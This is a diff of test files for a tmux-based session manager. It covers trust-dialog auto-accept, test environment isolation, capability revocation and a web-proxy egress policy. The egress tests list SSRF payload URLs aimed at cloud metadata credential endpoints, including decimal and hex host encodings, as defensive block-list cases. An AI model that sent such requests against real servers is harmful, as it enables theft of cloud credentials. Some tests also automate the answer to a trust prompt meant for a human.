expect(trustDialogNextKey(RENDERED_DIALOG_2_1_252_ON_YES)).toBe(TRUST_KEY_CONFIRM); + }); + + it('moves DOWN instead of confirming when 2.1.252 parks the cursor on "No, exit"', () => { + // The regression in one line: Enter here answers *exit* and kills the pane. + expect(trustDialogNextKey(RENDERED_DIALOG_2_1_252)).toBe(TRUST_KEY_DOWN); + }); + + it('moves UP when the trust option is the one above, as in the numbered layout', () => { + const numberedOnNo = RENDERED_DIALOG.replace(' ❯ 1. Yes,', ' 1. Yes,').replace( + ' 2. No, exit', + ' ❯ 2. No, exit' + ); + expect(trustDialogNextKey(numberedOnNo)).toBe(TRUST_KEY_UP); + }); + + it('reads the LAST frame in an append-only buffer, not the first', () => { + // The direct-PTY fallback has no pane to capture, so it reads a buffer that + // still holds every repaint since launch. The freshest frame is the truth. + const buffer = `${RENDERED_DIALOG_2_1_252}\n${RENDERED_DIALOG_2_1_252_ON_YES}`; + expect(trustDialogNextKey(buffer)).toBe(TRUST_KEY_CONFIRM); + }); + + it('presses nothing when the screen does not say which option is selected', () => { + // A layout this cannot read is a dialog for the human, not a coin flip: the + // wrong guess exits Claude. + const noMarker = RENDERED_DIALOG_2_1_252.replace(' ❯ No, exit', ' No, exit'); + expect(trustDialogNextKey(noMarker)).toBe(null); + expect(trustDialogNextKey(RENDERED_MAIN_UI)).toBe(null); + expect(trustDialogNextKey('')).toBe(null); + }); +}); + describe('Session trust-dialog auto-accept', () => { afterEach(() => vi.useRealTimers()); @@ -102,6 +176,32 @@ describe('Session trust-dialog auto-accept', () => { expect(writes).toEqual(['\r']); }); + it('walks the 2.1.252 dialog onto the trust option before it confirms', () => { + vi.useFakeTimers(); + // The whole point: no Enter goes out while "No, exit" is highlighted. + let screen = RENDERED_DIALOG_2_1_252; + const { writes, tick } = sessionShowing(() => screen); + tick(); + expect(writes).toEqual([TRUST_KEY_DOWN]); + + screen = RENDERED_DIALOG_2_1_252_ON_YES; + vi.advanceTimersByTime(2000); + tick(); + expect(writes).toEqual([TRUST_KEY_DOWN, TRUST_KEY_CONFIRM]); + }); + + it('never presses Enter while the cursor sits on "No, exit"', () => { + vi.useFakeTimers(); + // A dialog that never moves (a dropped arrow, a wedged pane) must run out of + // attempts pressing arrows, not answer *exit* on the way. + const { writes, tick } = sessionShowing(() => RENDERED_DIALOG_2_1_252); + for (let i = 0; i < 20; i++) { + tick(); + vi.advanceTimersByTime(2000); + } + expect(writes).toEqual(Array(TRUST_DIALOG_MAX_ATTEMPTS).fill(TRUST_KEY_DOWN)); + }); + it('retries a dropped keystroke, then gives up rather than typing forever', () => { vi.useFakeTimers(); // Ink can drop a keystroke while it is still mounting the widget, so one diff --git a/test/setup.ts b/test/setup.ts index edd11f51..2bbb742d 100644 --- a/test/setup.ts +++ b/test/setup.ts @@ -5,8 +5,11 @@ * mode before application modules load. Tests therefore cannot touch the real * Codeman state/cases tree or launch external tmux-backed agent sessions. * - * This setup file strips shell-level auth configuration that can leak from a - * running Codeman instance, then handles mock/timer cleanup between tests. + * This setup file strips shell-level configuration that can leak from a running + * Codeman instance — auth (`CODEMAN_PASSWORD`/`CODEMAN_USERNAME`), the gesture + * flag, and the three INSTANCE-selection vars that would otherwise point the + * suite at a real data dir or tmux socket — then handles mock/timer cleanup + * between tests. */ import { mkdtempSync, rmSync } from 'node:fs'; @@ -39,6 +42,39 @@ delete process.env.CODEMAN_USERNAME; // (test/server-index-title.test.ts) when the shell exports CODEMAN_GESTURE=1. delete process.env.CODEMAN_GESTURE; +// Instance selection is PROCESS-WIDE and is what `src/config/instance.ts` derives +// both the data dir and the tmux socket from, so a shell that exports any of these +// three reaches straight past the temp HOME above and undoes the isolation this +// file exists to provide: +// +// - CODEMAN_DATA_DIR is the dangerous one. It is an ABSOLUTE override read in +// `getDataDir()`, so it bypasses HOME entirely: a developer who exports it +// (or a shell left over from `codeman web -d`) has the suite reading and +// WRITING their real `state.json`, `users.json`, `intents.json` and +// `hook-secret` instead of a throwaway tree. Found live 2026-08-29 (#356): +// `session-routes-workspace-hooks.test.ts` overwrote a production +// `remote-hosts.json` with its `h1/box/10.0.0.5` fixture. `os.homedir()` +// itself DOES follow `$HOME`, so with this var gone `getDataDir()` lands +// under the temp HOME like everything else. (#356 first answered this by +// pointing the var at a second throwaway dir; deleting it is the same +// protection with one tree to clean up.) +// - CODEMAN_INSTANCE moves the data dir to `~/.codeman-` and the socket to +// `codeman-`. Inside the temp HOME that is not a data-loss risk, but it +// silently changes the paths tests assert on — and `scripts/run-beta.sh` +// exports it, so any shell that has run a beta carries it. +// - CODEMAN_TMUX_SOCKET renames the socket `resolveTmuxSocketName()` returns. +// `TmuxManager` no-ops its shell commands under vitest, so this is assertion +// drift rather than a stray `tmux -L` against prod — but it is the same class +// of leak and the same one-line fix. +// +// ⚠️ These must be deleted HERE rather than in a test, because `CODEMAN_INSTANCE` +// is captured into a module-level const the first time `config/instance.ts` is +// imported. A setup file runs before any application module loads; a beforeEach +// would already be too late. +delete process.env.CODEMAN_INSTANCE; +delete process.env.CODEMAN_DATA_DIR; +delete process.env.CODEMAN_TMUX_SOCKET; + afterEach(() => { vi.clearAllMocks(); vi.useRealTimers(); @@ -50,7 +86,9 @@ afterAll(async () => { // "onUserConsoleLog" call is still pending, and that single unhandled // EnvironmentTeardownError fails the run after every test has passed // (observed twice on the PR #175/#176 merge commit; never locally). - await new Promise((resolve) => setTimeout(resolve, 50)); + const { promise: drained, resolve: drainDone } = Promise.withResolvers(); + setTimeout(drainDone, 50); + await drained; if (originalHome === undefined) delete process.env.HOME; else process.env.HOME = originalHome; diff --git a/test/sse-events.test.ts b/test/sse-events.test.ts index ea3b1573..d602880e 100644 --- a/test/sse-events.test.ts +++ b/test/sse-events.test.ts @@ -1,6 +1,9 @@ import { describe, it, expect, beforeAll, afterAll } from 'vitest'; import { WebServer } from '../src/web/server.js'; import { EventEmitter } from 'node:events'; +import { safeRmHomeTree } from './mocks/index.js'; +import { homedir } from 'node:os'; +import { join } from 'node:path'; const TEST_PORT = 3107; @@ -295,13 +298,8 @@ describe('SSE Event Types', () => { expect(caseCreated).toBeDefined(); expect((caseCreated?.data as any).name).toBe(caseName); - // Cleanup - const { rmSync } = await import('node:fs'); - const { join } = await import('node:path'); - const { homedir } = await import('node:os'); - try { - rmSync(join(homedir(), 'codeman-cases', caseName), { recursive: true }); - } catch {} + // Cleanup (containment-gated) + safeRmHomeTree(join(homedir(), 'codeman-cases', caseName)); }); }); }); diff --git a/test/sse-subscription-filter.test.ts b/test/sse-subscription-filter.test.ts index 59511d92..54514785 100644 --- a/test/sse-subscription-filter.test.ts +++ b/test/sse-subscription-filter.test.ts @@ -1,5 +1,8 @@ import { describe, it, expect, beforeAll, afterAll } from 'vitest'; import { WebServer } from '../src/web/server.js'; +import { safeRmHomeTree } from './mocks/index.js'; +import { homedir } from 'node:os'; +import { join } from 'node:path'; const TEST_PORT = 3212; @@ -437,14 +440,7 @@ describe('SSE Subscription Filtering', () => { expect(caseCreated).toBeDefined(); expect((caseCreated?.data as any).name).toBe(caseName); - // Cleanup - const { rmSync } = await import('node:fs'); - const { join } = await import('node:path'); - const { homedir } = await import('node:os'); - try { - rmSync(join(homedir(), 'codeman-cases', caseName), { recursive: true }); - } catch { - /* may not exist */ - } + // Cleanup (containment-gated) + safeRmHomeTree(join(homedir(), 'codeman-cases', caseName)); }); }); diff --git a/test/test-env-isolation.test.ts b/test/test-env-isolation.test.ts new file mode 100644 index 00000000..07bc2e8b --- /dev/null +++ b/test/test-env-isolation.test.ts @@ -0,0 +1,73 @@ +/** + * @fileoverview Pins the environment isolation `test/setup.ts` provides. + * + * The suite's hermeticity rests on a temp `HOME` plus a short list of env vars that are + * deleted before any application module loads. That list is easy to under-maintain: it grew + * once for auth (`CODEMAN_PASSWORD`/`CODEMAN_USERNAME`) and once for `CODEMAN_GESTURE`, both + * times only after a leak had already produced a confusing failure, and it was still missing + * the three INSTANCE-selection vars. + * + * Those three matter more than the ones already on the list, because `src/config/instance.ts` + * derives BOTH the data dir and the tmux socket from them, and `CODEMAN_DATA_DIR` is an + * absolute path that bypasses `HOME` entirely — so a developer who exports it has the suite + * reading and writing their real `state.json` rather than a throwaway tree. + * + * ⚠️ The runtime half of this file cannot fail on a machine where the vars were never set, so + * it is not enough on its own: a `delete` line removed from `setup.ts` would still pass here + * on almost every developer's box and on CI. The STATIC half is what actually guards the + * list — it reads `setup.ts` and asserts each name is deleted there, which fails wherever the + * suite runs. Both halves are deliberate; do not drop the static one as redundant. + * + * Port: none (pure, over process.env and one source file). + */ + +import { describe, expect, it } from 'vitest'; +import { readFileSync } from 'node:fs'; +import { fileURLToPath } from 'node:url'; + +/** Every env var `setup.ts` must strip, with why it would otherwise leak. */ +const STRIPPED_ENV_VARS: Array<[name: string, why: string]> = [ + ['CODEMAN_PASSWORD', 'auth from a running instance would make protected routes behave differently'], + ['CODEMAN_USERNAME', 'same, and it changes which owner scoping resolves to'], + ['CODEMAN_GESTURE', 'flips renderIndexHtml output and breaks byte-identity assertions'], + ['CODEMAN_INSTANCE', 'moves the data dir to ~/.codeman- and the tmux socket to codeman-'], + ['CODEMAN_DATA_DIR', 'ABSOLUTE override: bypasses the temp HOME and points the suite at a real data dir'], + ['CODEMAN_TMUX_SOCKET', 'renames the socket resolveTmuxSocketName() returns'], +]; + +const SETUP_SOURCE = readFileSync(fileURLToPath(new URL('./setup.ts', import.meta.url)), 'utf-8'); + +/** + * Just the top-of-file STRIP section, cut at the first hook. + * + * The teardown below it restores HOME/USERPROFILE/VITEST/PLAYWRIGHT_BROWSERS_PATH with the + * same `delete` syntax, and those are the opposite of a strip — counting them would make the + * anti-drift check demand a reason for a var the suite deliberately puts back. + */ +const SETUP_STRIP_SECTION = SETUP_SOURCE.split(/^afterEach\(/m)[0]; + +describe('test environment isolation', () => { + it.each(STRIPPED_ENV_VARS)('%s is unset while the suite runs', (name) => { + expect(process.env[name], `${name} leaked into the test environment`).toBeUndefined(); + }); + + it.each(STRIPPED_ENV_VARS)('setup.ts deletes %s (%s)', (name) => { + // The half that fails everywhere, not just on a machine that happens to export the var. + expect(SETUP_SOURCE, `setup.ts no longer deletes ${name}`).toContain(`delete process.env.${name};`); + }); + + it('runs against a throwaway HOME, not the real one', () => { + // The property every other test's isolation is built on: `~/.codeman` and `~/codeman-cases` + // both resolve under here, so a test that writes state cannot reach the developer's own. + const home = process.env.HOME ?? process.env.USERPROFILE; + expect(home).toBeTruthy(); + expect(home).toContain('codeman-vitest-'); + }); + + it('lists every name the setup file strips (anti-drift)', () => { + // Catches the other direction: a var added to setup.ts but never given a reason here, so + // the next person cannot tell whether it is load-bearing or left over. + const deleted = [...SETUP_STRIP_SECTION.matchAll(/delete process\.env\.([A-Z0-9_]+);/g)].map((m) => m[1]).sort(); + expect(deleted).toEqual(STRIPPED_ENV_VARS.map(([name]) => name).sort()); + }); +}); diff --git a/test/webview-capability-revocation.test.ts b/test/webview-capability-revocation.test.ts new file mode 100644 index 00000000..8be83f41 --- /dev/null +++ b/test/webview-capability-revocation.test.ts @@ -0,0 +1,132 @@ +/** + * Web-tab proxy capabilities must die with the login that minted them. + * + * `WebviewCapabilityStore.revokeOwner()` shipped for two releases with a docstring + * saying logout called it and NO caller. The capability is a bearer credential + * exempt from cookie auth, with a rolling TTL refreshed on every use, so a leaked + * proxy URL stayed valid indefinitely. These tests pin every call site: + * `POST /api/logout` (own identity), the admin forced logout, and user deletion. + */ + +import { describe, it, expect, beforeAll, afterAll } from 'vitest'; +import { WebviewCapabilityStore, webviewCapabilities } from '../src/webview-capabilities.js'; +import { createRouteTestHarness, type RouteTestHarness } from './routes/_route-test-utils.js'; +import { registerSessionRoutes } from '../src/web/routes/session-routes.js'; +import { registerAdminRoutes } from '../src/web/routes/admin-routes.js'; +import { createUser, invalidateUsersCache } from '../src/user-store.js'; + +const PASSWORD = 'correct-horse-battery-staple'; + +describe('WebviewCapabilityStore.revokeOwner', () => { + it('revokes exactly the identity asked for, the single-user `undefined` identity included', () => { + const store = new WebviewCapabilityStore(); + const solo = store.mint('wv-solo', undefined); + const alice = store.mint('wv-alice', 'alice'); + const bob = store.mint('wv-bob', 'bob'); + + expect(store.revokeOwner('alice')).toBe(1); + expect(store.resolve(alice)).toBeUndefined(); + expect(store.resolve(bob)).toBeDefined(); + expect(store.resolve(solo)).toBeDefined(); + + expect(store.revokeOwner(undefined)).toBe(1); + expect(store.resolve(solo)).toBeUndefined(); + expect(store.resolve(bob)).toBeDefined(); + + // A later open mints a NEW token rather than resurrecting the revoked one. + expect(store.mint('wv-alice', 'alice')).not.toBe(alice); + expect(store.revokeOwner('nobody')).toBe(0); + store.dispose(); + }); +}); + +describe('POST /api/logout', () => { + let harness: RouteTestHarness; + + beforeAll(async () => { + harness = await createRouteTestHarness(registerSessionRoutes); + }); + + afterAll(async () => { + await harness.app.close(); + }); + + it('single-user: every outstanding capability dies with the login', async () => { + const cap = webviewCapabilities.mint('wv-logout-solo', undefined); + expect(webviewCapabilities.resolve(cap)).toBeDefined(); + + const res = await harness.app.inject({ method: 'POST', url: '/api/logout' }); + expect(res.statusCode).toBe(200); + expect(webviewCapabilities.resolve(cap)).toBeUndefined(); + }); +}); + +describe('POST /api/logout in multi-user mode', () => { + let harness: RouteTestHarness; + let savedMode: string | undefined; + + beforeAll(async () => { + savedMode = process.env.CODEMAN_MULTIUSER; + process.env.CODEMAN_MULTIUSER = '1'; + harness = await createRouteTestHarness(registerSessionRoutes, { authUser: { username: 'peon', role: 'user' } }); + }); + + afterAll(async () => { + await harness.app.close(); + if (savedMode === undefined) delete process.env.CODEMAN_MULTIUSER; + else process.env.CODEMAN_MULTIUSER = savedMode; + }); + + it("revokes only the caller's capabilities, never another user's", async () => { + const mine = webviewCapabilities.mint('wv-peon-own', 'peon'); + const theirs = webviewCapabilities.mint('wv-boss-own', 'boss'); + + const res = await harness.app.inject({ method: 'POST', url: '/api/logout' }); + expect(res.statusCode).toBe(200); + expect(webviewCapabilities.resolve(mine)).toBeUndefined(); + expect(webviewCapabilities.resolve(theirs)).toBeDefined(); + webviewCapabilities.revokeWebview('wv-boss-own'); + }); +}); + +describe('admin routes (multi-user)', () => { + let harness: RouteTestHarness; + let savedMode: string | undefined; + + // The temp HOME from test/setup.ts is per-FILE, so users.json persists across + // the tests in this block. + beforeAll(async () => { + savedMode = process.env.CODEMAN_MULTIUSER; + process.env.CODEMAN_MULTIUSER = '1'; + invalidateUsersCache(); + await createUser({ username: 'boss', role: 'admin', password: PASSWORD }); + await createUser({ username: 'peon', role: 'user', password: PASSWORD }); + harness = await createRouteTestHarness(registerAdminRoutes, { authUser: { username: 'boss', role: 'admin' } }); + }); + + afterAll(async () => { + await harness.app.close(); + if (savedMode === undefined) delete process.env.CODEMAN_MULTIUSER; + else process.env.CODEMAN_MULTIUSER = savedMode; + invalidateUsersCache(); + }); + + it('a forced logout revokes the target user (normalised) and leaves the admin alone', async () => { + const peon = webviewCapabilities.mint('wv-peon-forced', 'peon'); + const boss = webviewCapabilities.mint('wv-boss-forced', 'boss'); + + const res = await harness.app.inject({ method: 'POST', url: '/api/admin/users/PEON/logout' }); + expect(res.statusCode).toBe(200); + expect(webviewCapabilities.resolve(peon)).toBeUndefined(); + expect(webviewCapabilities.resolve(boss)).toBeDefined(); + webviewCapabilities.revokeWebview('wv-boss-forced'); + }); + + it('deleting a user revokes whatever that user had open', async () => { + const peon = webviewCapabilities.mint('wv-peon-deleted', 'peon'); + + const res = await harness.app.inject({ method: 'DELETE', url: '/api/admin/users/peon' }); + expect(res.statusCode).toBe(200); + expect(webviewCapabilities.resolve(peon)).toBeUndefined(); + }); +}); diff --git a/test/webview-egress-policy.test.ts b/test/webview-egress-policy.test.ts new file mode 100644 index 00000000..d747f450 --- /dev/null +++ b/test/webview-egress-policy.test.ts @@ -0,0 +1,98 @@ +/** + * Egress policy for the web-tab proxy (src/web/webview-egress-policy.ts). + * + * The proxy reaches whatever the server can reach ON PURPOSE (a localhost + * Grafana is the documented use case), so this policy blocks only the ranges no + * dashboard lives in and a cloud credential does: link-local and the fixed + * metadata endpoints. Both halves are pinned: what is refused, and what must + * stay allowed so the feature keeps working. + */ + +import { describe, it, expect } from 'vitest'; +import { + blockedWebviewHostReason, + isBlockedEgressAddress, + isBlockedWebviewUrl, +} from '../src/web/webview-egress-policy.js'; + +describe('isBlockedEgressAddress', () => { + it('blocks the IPv4 link-local range, which every major cloud puts IMDS in', () => { + expect(isBlockedEgressAddress('169.254.169.254')).toBe(true); + expect(isBlockedEgressAddress('169.254.0.23')).toBe(true); // Tencent metadata + expect(isBlockedEgressAddress('169.254.255.255')).toBe(true); + }); + + it('blocks the fixed metadata endpoints outside link-local', () => { + expect(isBlockedEgressAddress('168.63.129.16')).toBe(true); // Azure WireServer + expect(isBlockedEgressAddress('100.100.100.200')).toBe(true); // Alibaba Cloud + }); + + it('blocks IPv6 link-local and the AWS IMDS IPv6 endpoint in every spelling', () => { + expect(isBlockedEgressAddress('fe80::1')).toBe(true); + expect(isBlockedEgressAddress('FE80::1%eth0')).toBe(true); + expect(isBlockedEgressAddress('febf:ffff::1')).toBe(true); + expect(isBlockedEgressAddress('fd00:ec2::254')).toBe(true); + expect(isBlockedEgressAddress('fd00:0ec2:0000:0000:0000:0000:0000:0254')).toBe(true); + }); + + it('judges the embedded IPv4 of a mapped address, dotted or hex', () => { + expect(isBlockedEgressAddress('::ffff:169.254.169.254')).toBe(true); + expect(isBlockedEgressAddress('::ffff:a9fe:a9fe')).toBe(true); // URL.hostname's form + expect(isBlockedEgressAddress('::ffff:127.0.0.1')).toBe(false); + expect(isBlockedEgressAddress('::ffff:7f00:1')).toBe(false); + }); + + it('ALLOWS loopback and private ranges: localhost dashboards are the feature', () => { + expect(isBlockedEgressAddress('127.0.0.1')).toBe(false); + expect(isBlockedEgressAddress('::1')).toBe(false); + expect(isBlockedEgressAddress('10.0.0.5')).toBe(false); + expect(isBlockedEgressAddress('192.168.1.20')).toBe(false); + expect(isBlockedEgressAddress('172.16.0.9')).toBe(false); + expect(isBlockedEgressAddress('100.64.0.1')).toBe(false); // tailnet CGNAT range + expect(isBlockedEgressAddress('fd7a:115c:a1e0::1')).toBe(false); // tailnet ULA + expect(isBlockedEgressAddress('fd00:ec2::255')).toBe(false); // neighbour of the AWS address + }); + + it('never blocks a name: names are judged by what they resolve to', () => { + expect(isBlockedEgressAddress('metadata.google.internal')).toBe(false); + expect(isBlockedEgressAddress('')).toBe(false); + }); +}); + +describe('blockedWebviewHostReason', () => { + it('accepts URL.hostname forms: bracketed IPv6, trailing dot, mixed case', () => { + expect(blockedWebviewHostReason('[fe80::1]')).toMatch(/link-local/); + expect(blockedWebviewHostReason('[::ffff:a9fe:a9fe]')).toMatch(/link-local/); + expect(blockedWebviewHostReason('METADATA.GOOGLE.INTERNAL.')).toMatch(/metadata hostname/); + expect(blockedWebviewHostReason('[::1]')).toBeNull(); + }); + + it('names the cloud metadata aliases even though they would also fail resolution', () => { + expect(blockedWebviewHostReason('metadata')).not.toBeNull(); + expect(blockedWebviewHostReason('instance-data')).not.toBeNull(); + expect(blockedWebviewHostReason('metadata.example.com')).toBeNull(); + expect(blockedWebviewHostReason('grafana.internal')).toBeNull(); + }); +}); + +describe('isBlockedWebviewUrl (schema refine)', () => { + it('sees through the URL normalisations an attacker would lean on', () => { + // Decimal and hex hosts normalise to dotted quads inside `new URL`. + expect(isBlockedWebviewUrl('http://2852039166/latest/meta-data/')).toBe(true); // 169.254.169.254 + expect(isBlockedWebviewUrl('http://0xa9fea9fe/')).toBe(true); + expect(isBlockedWebviewUrl('http://169.254.169.254:80/')).toBe(true); + expect(isBlockedWebviewUrl('http://[fd00:ec2::254]/')).toBe(true); + expect(isBlockedWebviewUrl('http://metadata.google.internal/computeMetadata/v1/')).toBe(true); + }); + + it('leaves every documented dashboard shape alone', () => { + expect(isBlockedWebviewUrl('http://127.0.0.1:4000/grafana/')).toBe(false); + expect(isBlockedWebviewUrl('http://localhost:3080/')).toBe(false); + expect(isBlockedWebviewUrl('https://homeassistant.tailf80371.ts.net/')).toBe(false); + expect(isBlockedWebviewUrl('http://192.168.1.20:9000/')).toBe(false); + }); + + it("is not the URL-shape check: garbage is someone else's refusal", () => { + expect(isBlockedWebviewUrl('not a url')).toBe(false); + }); +}); diff --git a/test/webview-egress.test.ts b/test/webview-egress.test.ts new file mode 100644 index 00000000..91d4920a --- /dev/null +++ b/test/webview-egress.test.ts @@ -0,0 +1,154 @@ +/** + * Guarded egress for the web-tab proxy (src/web/webview-egress.ts). + * + * The policy is judged on RESOLVED addresses through a `lookup` hook, because a + * hostname-string check cannot see where `metadata.google.internal`, or an + * attacker's own DNS name, actually points. These tests inject a resolver and + * drive a real undici Agent against a real local HTTP server, so what is pinned + * is that undici honours the hook end-to-end, not that a helper returns a value. + * Port: ephemeral (server.listen(0)). + */ + +import { describe, it, expect, beforeAll, afterAll } from 'vitest'; +import { createServer, type Server } from 'node:http'; +import type { LookupAddress } from 'node:dns'; +import { fetch as undiciFetch } from 'undici'; +import { + createEgressLookup, + createWebviewDispatcher, + egressBlockedReason, + isEgressBlockedError, + webviewFetch, + WebviewEgressBlockedError, + type EgressLookup, +} from '../src/web/webview-egress.js'; + +type LookupCallbackArgs = Parameters[2]>; + +const NAMES: Record = { + 'dash.test': [{ address: '127.0.0.1', family: 4 }], + 'meta.test': [{ address: '169.254.169.254', family: 4 }], + // Happy Eyeballs shape: one fine address and one blocked one. + 'mixed.test': [ + { address: '127.0.0.1', family: 4 }, + { address: 'fd00:ec2::254', family: 6 }, + ], + 'nowhere.test': [], +}; + +const fakeResolve = async (hostname: string): Promise => { + const found = NAMES[hostname]; + if (!found) { + const err: NodeJS.ErrnoException = new Error(`getaddrinfo ENOTFOUND ${hostname}`); + err.code = 'ENOTFOUND'; + throw err; + } + return found; +}; + +function callLookup(hostname: string, options: { all?: boolean }): Promise { + const lookup = createEgressLookup(fakeResolve); + return new Promise((resolve) => lookup(hostname, options, (...args) => resolve(args))); +} + +describe('createEgressLookup', () => { + it("answers in net.connect's single-address shape when `all` is not requested", async () => { + const [err, address, family] = await callLookup('dash.test', {}); + expect(err).toBeNull(); + expect(address).toBe('127.0.0.1'); + expect(family).toBe(4); + }); + + it('answers the array shape autoSelectFamily asks for', async () => { + const [err, addresses] = await callLookup('dash.test', { all: true }); + expect(err).toBeNull(); + expect(addresses).toEqual([{ address: '127.0.0.1', family: 4 }]); + }); + + it('refuses a name that resolves into a blocked range, naming both', async () => { + const [err] = await callLookup('meta.test', {}); + expect(err).toBeInstanceOf(WebviewEgressBlockedError); + expect(err?.message).toContain('meta.test resolves to 169.254.169.254'); + }); + + it('refuses when ANY resolved address is blocked, not just the first', async () => { + const [err] = await callLookup('mixed.test', { all: true }); + expect(err).toBeInstanceOf(WebviewEgressBlockedError); + }); + + it('passes resolver errors and empty answers through as ordinary DNS failures', async () => { + const [notFound] = await callLookup('unknown.test', {}); + expect(notFound?.code).toBe('ENOTFOUND'); + expect(isEgressBlockedError(notFound)).toBe(false); + const [empty] = await callLookup('nowhere.test', {}); + expect(empty?.code).toBe('ENOTFOUND'); + }); +}); + +describe('guarded undici Agent (end-to-end against a local upstream)', () => { + let upstream: Server; + let port: number; + + beforeAll(async () => { + upstream = createServer((req, res) => { + res.writeHead(200, { 'content-type': 'text/plain' }); + res.end(`served ${req.headers.host ?? ''}`); + }); + await new Promise((resolve) => upstream.listen(0, '127.0.0.1', resolve)); + port = (upstream.address() as { port: number }).port; + }); + + afterAll(async () => { + await new Promise((resolve) => upstream.close(() => resolve())); + }); + + it('connects through the hook: a name resolving to loopback reaches the server', async () => { + const dispatcher = createWebviewDispatcher(createEgressLookup(fakeResolve)); + try { + const res = await undiciFetch(`http://dash.test:${port}/`, { dispatcher }); + expect(res.status).toBe(200); + expect(await res.text()).toBe(`served dash.test:${port}`); + } finally { + await dispatcher.close(); + } + }); + + it('fails the connect when the name resolves into a blocked range, with the reason as the cause', async () => { + const dispatcher = createWebviewDispatcher(createEgressLookup(fakeResolve)); + try { + const attempt = undiciFetch(`http://meta.test:${port}/latest/meta-data/`, { dispatcher }); + await expect(attempt).rejects.toThrow(); + const err = await attempt.catch((e: unknown) => e); + expect(isEgressBlockedError(err)).toBe(true); + expect(egressBlockedReason(err)).toContain('169.254.169.254'); + } finally { + await dispatcher.close(); + } + }); +}); + +describe('webviewFetch', () => { + it('refuses a blocked IP literal synchronously, since net.connect never consults lookup for one', async () => { + const attempt = webviewFetch(new URL('http://169.254.169.254/latest/meta-data/')); + await expect(attempt).rejects.toBeInstanceOf(WebviewEgressBlockedError); + const err = await attempt.catch((e: unknown) => e); + expect(egressBlockedReason(err)).toMatch(/169\.254\.169\.254/); + }); + + it('refuses the bracketed IPv6 and the alias forms the same way', async () => { + await expect(webviewFetch(new URL('http://[fd00:ec2::254]/'))).rejects.toBeInstanceOf(WebviewEgressBlockedError); + await expect(webviewFetch(new URL('http://metadata.google.internal/'))).rejects.toBeInstanceOf( + WebviewEgressBlockedError + ); + }); +}); + +describe('egressBlockedReason', () => { + it('walks a cause chain and ignores unrelated errors', () => { + const inner = new WebviewEgressBlockedError('x resolves to 169.254.1.1'); + const wrapped = new TypeError('fetch failed', { cause: inner }); + expect(egressBlockedReason(wrapped)).toBe(inner.message); + expect(egressBlockedReason(new Error('ECONNREFUSED'))).toBeNull(); + expect(egressBlockedReason(undefined)).toBeNull(); + }); +}); diff --git a/test/webview-proxy.test.ts b/test/webview-proxy.test.ts index 6815f889..bd020f34 100644 --- a/test/webview-proxy.test.ts +++ b/test/webview-proxy.test.ts @@ -653,3 +653,34 @@ describe('misc helpers', () => { expect(proxyPrefixFor(CAP)).toBe(PREFIX); }); }); + +describe('referrer policy on proxied responses', () => { + const CAP = 'c'.repeat(32); + const requestUrl = new URL('http://127.0.0.1:4000/'); + + it('stamps same-origin and drops the upstream policy, so the capability in the URL never reaches a third party', () => { + const { headers } = buildDownstreamResponseHeaders( + [ + ['referrer-policy', 'unsafe-url'], + ['content-type', 'text/html'], + ], + [], + CAP, + requestUrl, + false + ); + expect(headers['referrer-policy']).toBe('same-origin'); + expect(headers['content-type']).toBe('text/html'); + }); + + it('stamps it even when the upstream sent none (the browser default would still leak on a downgrade-style policy)', () => { + const { headers } = buildDownstreamResponseHeaders( + [['content-type', 'application/json']], + [], + CAP, + requestUrl, + false + ); + expect(headers['referrer-policy']).toBe('same-origin'); + }); +});